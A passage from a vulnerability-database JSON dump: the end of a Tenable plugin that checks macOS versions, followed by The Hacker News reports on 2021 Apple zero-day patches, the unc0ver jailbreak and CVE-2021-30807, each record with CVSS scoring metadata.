issue but has instead relied only on the operating system's self-reported\nversion number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT212529\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to macOS 11.4 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-30740\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-30678\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/05/24\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/05/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/05/26\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/local_checks_enabled\", \"Host/MacOSX/packages/boms\");\n\n exit(0);\n}\n\ninclude('vcf.inc');\ninclude('vcf_extras_apple.inc');\n\nvar app_info = vcf::apple::macos::get_app_info();\nvar constraints = [{ 'min_version' : '11.0', 'fixed_version' : '11.4', 'fixed_display' : 'macOS Big Sur 11.4' }];\n\nvcf::apple::macos::check_version_and_report(\n app_info:app_info,\n constraints:constraints,\n severity:SECURITY_HOLE\n);\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "thn": [{"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-JkdnPjEoviI/YD4G2g-EQ-I/AAAAAAAAB6g/I6C5TlNMQxAIwwzQS6Wp-RZQ_w3UKsTqgCLcBGAsYHQ/s0/iphone-jailbreak.jpg>)\n\nA popular jailbreaking tool called \"unc0ver\" has been updated to support iOS 14.3 and earlier releases, thereby making it possible to unlock almost every single iPhone model using a vulnerability that Apple in January disclosed was actively exploited in the wild.\n\nThe latest release, dubbed unc0ver v6.0.0, was [released](<https://unc0ver.dev>) on Sunday, according to its lead developer Pwn20wnd, expanding its compatibility to jailbreak any device running iOS 11.0 through iOS 14.3 using a kernel vulnerability, including iOS 12.4.9-12.5.1, 13.5.1-13.7, and 14.0-14.3.\n\nTracked as [CVE-2021-1782](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>), the flaw is a privilege escalation vulnerability in the kernel stemming from a race condition that could cause a malicious application to elevate its privileges.\n\n\"We wrote our own exploit based on CVE-2021-1782 for #unc0ver to achieve optimal exploit speed and stability,\" Pwn20wnd [said](<https://twitter.com/Pwn20wnd/status/1364878565523787777>) in a separate tweet.\n\nThe vulnerability has since been addressed by Apple as part of its iOS and iPadOS 14.4 updates released on January 26, 2021, but not before admitting that the issue may have been under active attack by bad actors.\n\nThe iPhone maker, however, did not disclose how widespread the attack was or reveal the identities of the attackers actively exploiting them.\n\nJailbreaking, similar to rooting on Google's Android, involves a privilege escalation that works by exploiting flaws in iOS to grant users root access and full control over their devices. In doing so, it allows iOS users to remove software restrictions imposed by Apple, thereby allowing access to additional customization and otherwise prohibited apps.\n\nFor its part, Apple has steadily made it difficult to jailbreak devices by locking down its hardware and software for security reasons, which it says helps counter malware attacks.\n\nZecOps CEO Zuk Avraham [said](<https://twitter.com/ihackbanme/status/1365862089567346689>) the jailbreak is \"yet another example that attackers have an edge on iOS vs. defenders,\" adding \"[Apple] needs to stop the need to jailbreak the device in the first place and should just enable users to have full access without a need to run an exploit.\"\n\nLast May, the unc0ver team released a [similar jailbreak](<https://thehackernews.com/2020/05/iphone-ios-jailbreak-tools.html>) for iPhones running iOS 11 to iOS 13.5 by exploiting a memory consumption issue in the kernel ([CVE-2020-9859](<https://support.apple.com/en-us/HT211214>)). But it was patched by Apple in a matter of days with the release of iOS 13.5.1 to prevent the vulnerability from being exploited maliciously.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-02T09:37:00", "type": "thn", "title": "New 'unc0ver' Tool Can Jailbreak All iPhone Models Running iOS 11.0 - 14.3", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-9859", "CVE-2021-1782"], "modified": "2021-03-03T06:24:33", "id": "THN:012D6A298BED906B54D36D175756D4A7", "href": "https://thehackernews.com/2021/03/new-unc0ver-tool-can-jailbreak-all.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:11", "description": "[](<https://thehackernews.com/images/-jMlIotpt0jU/YBD-s7n5YQI/AAAAAAAABmI/X0k_6KZYvcAOxTj1nJiddOWRAnW-eYg9ACLcBGAsYHQ/s0/apple-iphone-hacking.jpg>)\n\nApple on Tuesday released updates for iOS, iPadOS, and tvOS with fixes for three security vulnerabilities that it says may have been actively exploited in the wild.\n\nReported by an anonymous researcher, the three [zero-day](<https://support.apple.com/en-us/HT212146>) [flaws](<https://support.apple.com/en-us/HT212149>) \u2014 CVE-2021-1782, CVE-2021-1870, and CVE-2021-1871 \u2014 could have allowed an attacker to elevate privileges and achieve remote code execution.\n\nThe iPhone maker did not disclose how widespread the attack was or reveal the identities of the attackers actively exploiting them.\n\nWhile the privilege escalation bug in the kernel (CVE-2021-1782) was noted as a race condition that could cause a malicious application to elevate its privileges, the other two shortcomings \u2014 dubbed a \"logic issue\" \u2014 were discovered in the WebKit browser engine (CVE-2021-1870 and CVE-2021-1871), permitting an attacker to achieve arbitrary code execution inside Safari.\n\nApple said the race condition and the WebKit flaws were addressed with improved locking and restrictions, respectively.\n\n[](<https://thehackernews.com/images/-fdpXkbfWGTA/YBD_Bui-nuI/AAAAAAAABmQ/MgynC4sTjqETJbW_z8c8Hc-4lAuJHG5rgCLcBGAsYHQ/s0/hacking.jpg>)\n\nWhile exact details of the exploit leveraging the flaws are unlikely to be made public until the patches have been widely applied, it wouldn't be a surprise if they were chained together to carry out watering hole attacks against potential targets.\n\nSuch an attack would involve delivering the malicious code simply by visiting a compromised website that then takes advantage of the aforementioned vulnerabilities to escalate its privileges and run arbitrary commands to take control of the device.\n\nThe updates are now available for iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation), as well as Apple TV 4K and Apple TV HD.\n\nNews of the latest zero-days comes after the company resolved three actively exploited vulnerabilities in [November 2020](<https://thehackernews.com/2020/11/update-your-ios-devices-now-3-actively.html>) and a separate zero-day bug in iOS 13.5.1 that was disclosed as used in a [cyberespionage campaign](<https://thehackernews.com/2020/12/iphones-of-36-journalists-hacked-using.html>) targeting Al Jazeera journalists last year.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-27T05:50:00", "type": "thn", "title": "Apple Warns of 3 iOS Zero-Day Security Vulnerabilities Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871"], "modified": "2021-01-27T05:50:09", "id": "THN:739D9EFE8C7F1B29E2430DAC65CDEE52", "href": "https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:57", "description": "[](<https://thehackernews.com/images/-EY0jLibkpcU/YMgfQajFNQI/AAAAAAAAC3I/EIU5a5Wq51o-5TvSYm6aKt_vlbbskE6UACLcBGAsYHQ/s0/apple-zero-day.png>)\n\nApple on Monday shipped out-of-band security patches to address two zero-day vulnerabilities in iOS 12.5.3 that it says are being actively exploited in the wild.\n\nThe latest update, [iOS 12.5.4](<https://support.apple.com/en-us/HT212548>), comes with fixes for three security bugs, including a memory corruption issue in [ASN.1 decoder](<https://en.wikipedia.org/wiki/ASN.1>) (CVE-2021-30737) and two flaws concerning its WebKit browser engine that could be abused to achieve remote code execution \u2014\n\n * **CVE-2021-30761** \\- A memory corruption issue that could be exploited to gain arbitrary code execution when processing maliciously crafted web content. The flaw was addressed with improved state management.\n * **CVE-2021-30762** \\- A use-after-free issue that could be exploited to gain arbitrary code execution when processing maliciously crafted web content. The flaw was resolved with improved memory management.\n\nBoth CVE-2021-30761 and CVE-2021-30762 were reported to Apple anonymously, with the Cupertino-based company stating in its advisory that it's aware of reports that the vulnerabilities \"may have been actively exploited.\" As is usually the case, Apple didn't share any specifics on the nature of the attacks, the victims that may have been targeted, or the threat actors that may be abusing them.\n\nOne thing evident, however, is that the active exploitation attempts were directed against owners of older devices such as iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation). The move mirrors a similar fix that Apple rolled out on May 3 to remediate a buffer overflow vulnerability (CVE-2021-30666) in WebKit targeting the same set of devices.\n\nAlong with the two aforementioned flaws, Apple has patched a total of 12 zero-days affecting iOS, iPadOS, macOS, tvOS, and watchOS since the start of the year \u2014\n\n * [**CVE-2021-1782**](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (Kernel) - A malicious application may be able to elevate privileges\n * [**CVE-2021-1870**](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (WebKit) - A remote attacker may be able to cause arbitrary code execution\n * [**CVE-2021-1871**](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (WebKit) - A remote attacker may be able to cause arbitrary code execution\n * [**CVE-2021-1879**](<https://thehackernews.com/2021/03/apple-issues-urgent-patch-update-for.html>) (WebKit) - Processing maliciously crafted web content may lead to universal cross-site scripting\n * [**CVE-2021-30657**](<https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html>) (System Preferences) - A malicious application may bypass Gatekeeper checks\n * [**CVE-2021-30661**](<https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html>) (WebKit Storage) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30663**](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30665**](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30666**](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30713**](<https://thehackernews.com/2021/05/apple-issues-patches-to-combat-ongoing.html>) (TCC framework) - A malicious application may be able to bypass Privacy preferences\n\nUsers of Apple devices are recommended to update to the latest versions to mitigate the risk associated with the vulnerabilities.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-15T03:32:00", "type": "thn", "title": "Apple Issues Urgent Patches for 2 Zero-Day Flaws Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30737", "CVE-2021-30761", "CVE-2021-30762"], "modified": "2021-06-15T10:08:36", "id": "THN:0D13405795D42B516C33D8E56A44BA9D", "href": "https://thehackernews.com/2021/06/apple-issues-urgent-patches-for-2-zero.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:03", "description": "[](<https://thehackernews.com/images/-Aros4Hd7Hj8/YEcYaYPj-TI/AAAAAAAAB-g/2ZSR204Gt-cvho0M5p936SrWsC_s00ulwCLcBGAsYHQ/s0/apple.jpg>)\n\nApple has released out-of-band patches for iOS, macOS, watchOS, and Safari web browser to address a security flaw that could allow attackers to run arbitrary code on devices via malicious web content.\n\nTracked as **CVE-2021-1844**, the vulnerability was discovered and reported to the company by Cl\u00e9ment Lecigne of Google's Threat Analysis Group and Alison Huffman of Microsoft Browser Vulnerability Research.\n\nAccording to the update notes posted by Apple, the flaw stems from a memory corruption issue that could lead to arbitrary code execution when processing specially crafted web content. The company said the problem was addressed with \"improved validation.\"\n\nThe update is available for devices running [iOS 14.4, iPadOS 14.4](<https://support.apple.com/en-us/HT212221>), [macOS Big Sur](<https://support.apple.com/en-us/HT212220>), and [watchOS 7.3.1](<https://support.apple.com/en-us/HT212222>) (Apple Watch Series 3 and later), and as an [update to Safari](<https://support.apple.com/en-us/HT212223>) for MacBooks running macOS Catalina and macOS Mojave.\n\n[](<https://thehackernews.com/images/-x-pwD8r0Hz0/YEcYq2S27qI/AAAAAAAAB-o/e7pap0QYYvU1uk765ZMqSeKYUofKWRYegCLcBGAsYHQ/s0/apple.jpg>)\n\nThe latest development comes on the heels of a patch for [three zero-day vulnerabilities](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (CVE-2021-1782, CVE-2021-1870, and CVE-2021-1871) that was released in January. The weaknesses, which allow an attacker to elevate privileges and achieve remote code execution, were later exploited by the team behind the \"[unc0ver](<https://thehackernews.com/2021/03/new-unc0ver-tool-can-jailbreak-all.html>)\" jailbreak tool to unlock almost every single iPhone model running 14.3.\n\nIt's worth noting that Huffman was also behind the discovery of an [actively exploited zero-day bug](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) in the Chrome browser that was addressed by Google last week. But unlike the Chrome security flaw, there is no evidence that CVE-2021-1844 is being exploited by malicious hackers.\n\nUsers of Apple devices or those running a vulnerable version of Chrome are advised to install the updates as soon as possible to mitigate the risk associated with the flaws.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-09T06:51:00", "type": "thn", "title": "Apple Issues Patch for Remote Hacking Bug Affecting Billions of its Devices", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782", "CVE-2021-1844", "CVE-2021-1870", "CVE-2021-1871"], "modified": "2021-03-09T08:58:35", "id": "THN:59DC40FBDFBEBE12E11B551510E4B2E6", "href": "https://thehackernews.com/2021/03/apple-issues-patch-for-remote-hacking.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:24", "description": "[](<https://thehackernews.com/images/-5Zi_45-pXus/YF7LgsUU1pI/AAAAAAAACHQ/ltYZDuSTuqwbzRstY55f-hwWOXjS_zI2gCLcBGAsYHQ/s0/mac-malware-proxy-setting.png>)\n\nMerely weeks after releasing out-of-band patches for iOS, iPadOS, macOS and watchOS, Apple has issued yet another security update for iPhone, iPad, and Apple Watch to fix a critical zero-day weakness that it says is being actively exploited in the wild.\n\nTracked as **CVE-2021-1879**, the vulnerability relates to a WebKit flaw that could enable adversaries to process maliciously crafted web content that may result in universal cross-site scripting attacks.\n\n\"This issue was addressed by improved management of object lifetimes,\" the iPhone maker noted.\n\nApple has credited Clement Lecigne and Billy Leonard of Google's Threat Analysis Group for discovering and reporting the issue. While details of the flaw have not been disclosed, the company said it's aware of reports that CVE-2021-1879 may have been actively exploited.\n\nUpdates are available for the following devices:\n\n * [iOS 12.5.2](<https://support.apple.com/en-us/HT212257>) \\- Phone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation)\n * [iOS 14.4.2](<https://support.apple.com/en-us/HT212256>) \\- iPhone 6s and later, and iPod touch (7th generation)\n * [iPadOS 14.4.2](<https://support.apple.com/en-us/HT212256>) \\- iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later\n * [watchOS 7.3.3](<https://support.apple.com/en-us/HT212258>) \\- Apple Watch Series 3 and later\n\nThe latest release arrives close on the heels of a patch for a separate WebKit flaw ([CVE-2021-1844](<https://thehackernews.com/2021/03/apple-issues-patch-for-remote-hacking.html>)) that Apple shipped earlier this month. In January 2021, the company resolved [three zero-day vulnerabilities](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (CVE-2021-1782, CVE-2021-1870, and CVE-2021-1871) that allowed an attacker to elevate privileges and achieve remote code execution.\n\nInterestingly, Apple also appears to be [experimenting](<https://thehackernews.com/2021/03/apple-may-start-delivering-security.html>) with ways to deliver security updates on iOS in a manner that's independent of other OS updates. iOS 14.4.2 certainly sounds like the kind of update that could benefit from this feature.\n\nIn the meanwhile, users of Apple devices are advised to install the updates as soon as possible to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-27T06:07:00", "type": "thn", "title": "Apple Issues Urgent Patch Update for Another Zero\u2011Day Under Attack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782", "CVE-2021-1844", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879"], "modified": "2021-03-27T08:51:29", "id": "THN:4EFE9C3A3A0DEB0019296A14C9EAC1FA", "href": "https://thehackernews.com/2021/03/apple-issues-urgent-patch-update-for.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:18", "description": "[](<https://thehackernews.com/images/-b6kGmU8c6Gc/YP-1oely-GI/AAAAAAAADV0/MURJ7OCSDsoeAi2sHU_Bb2cqNT4e2C-qACLcBGAsYHQ/s0/apple-iphone-hacking.jpg>)\n\nApple on Monday rolled out an urgent security update for [iOS, iPadOS](<https://support.apple.com/en-us/HT212622>), and [macOS](<https://support.apple.com/en-us/HT212623>) to address a zero-day flaw that it said may have been actively exploited, making it the thirteenth such vulnerability Apple has patched since the start of this year.\n\nThe updates, which arrive less than a week after the company released iOS 14.7, iPadOS 14.7, and macOS Big Sur 11.5 to the public, fixes a memory corruption issue (**CVE-2021-30807**) in the IOMobileFrameBuffer component, a kernel extension for managing the screen [framebuffer](<https://en.wikipedia.org/wiki/Framebuffer>), that could be abused to execute arbitrary code with kernel privileges.\n\nThe company said it addressed the issue with improved memory handling, noting it's \"aware of a report that this issue may have been actively exploited.\" As is typically the case, additional details about the flaw have not been disclosed to prevent the weaponization of the vulnerability for additional attacks. Apple credited an anonymous researcher for discovering and reporting the vulnerability.\n\nThe timing of the update also raises questions about whether the zero-day had any role in compromising iPhones using NSO Group's [Pegasus software](<https://forbiddenstories.org/case/the-pegasus-project/>), which has become the focus of a series of [investigative reports](<https://thehackernews.com/2021/07/new-leak-reveals-abuse-of-pegasus.html>) that have exposed how the spyware tool turned mobile phones of journalists, human rights activists, and others into portable surveillance devices, granting complete access to sensitive information stored in them.\n\nCVE-2021-30807 is also the thirteenth zero-day vulnerability addressed by Apple this year alone, including \u2014\n\n * [CVE-2021-1782](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (Kernel) - A malicious application may be able to elevate privileges\n * [CVE-2021-1870](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (WebKit) - A remote attacker may be able to cause arbitrary code execution\n * [CVE-2021-1871](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (WebKit) - A remote attacker may be able to cause arbitrary code execution\n * [CVE-2021-1879](<https://thehackernews.com/2021/03/apple-issues-urgent-patch-update-for.html>) (WebKit) - Processing maliciously crafted web content may lead to universal cross-site scripting\n * [CVE-2021-30657](<https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html>) (System Preferences) - A malicious application may bypass Gatekeeper checks\n * [CVE-2021-30661](<https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html>) (WebKit Storage) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [CVE-2021-30663](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [CVE-2021-30665](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [CVE-2021-30666](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [CVE-2021-30713](<https://thehackernews.com/2021/05/apple-issues-patches-to-combat-ongoing.html>) (TCC framework) - A malicious application may be able to bypass Privacy preferences\n * [CVE-2021-30761](<https://thehackernews.com/2021/06/apple-issues-urgent-patches-for-2-zero.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [CVE-2021-30762](<https://thehackernews.com/2021/06/apple-issues-urgent-patches-for-2-zero.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n\nGiven the [public availability](<https://twitter.com/b1n4r1b01/status/1419734027565617165>) of a proof-of-concept (PoC) exploit, it's highly recommended that users move quickly to update their devices to the latest version to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-27T07:28:00", "type": "thn", "title": "Apple Releases Urgent 0-Day Bug Patch for Mac, iPhone and iPad Devices", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807"], "modified": "2021-07-27T11:14:04", "id": "THN:080F85D43290560CDED8F282EE277B00", "href": "https://thehackernews.com/2021/07/apple-releases-urgent-0-day-bug-patch.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:14", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEj9Bd2VdAXWvbASf8YmWxr5iArtahL17_NleXHz62PXrscVcuyhLoDB7s3THH7T3H2cNZseMCfhLHRI9u5ESRDFZknnkYq6qqLc5c9bPFMM7KFlt0MGfj_ufHze0jtqtN8jGQiQUtNiSL3Kgq8Vsdc1lkrooiJsHq3ucrJQr03nO_OVN3I2C0POzJAs>)\n\nApple on Monday released a security update for iOS and iPad 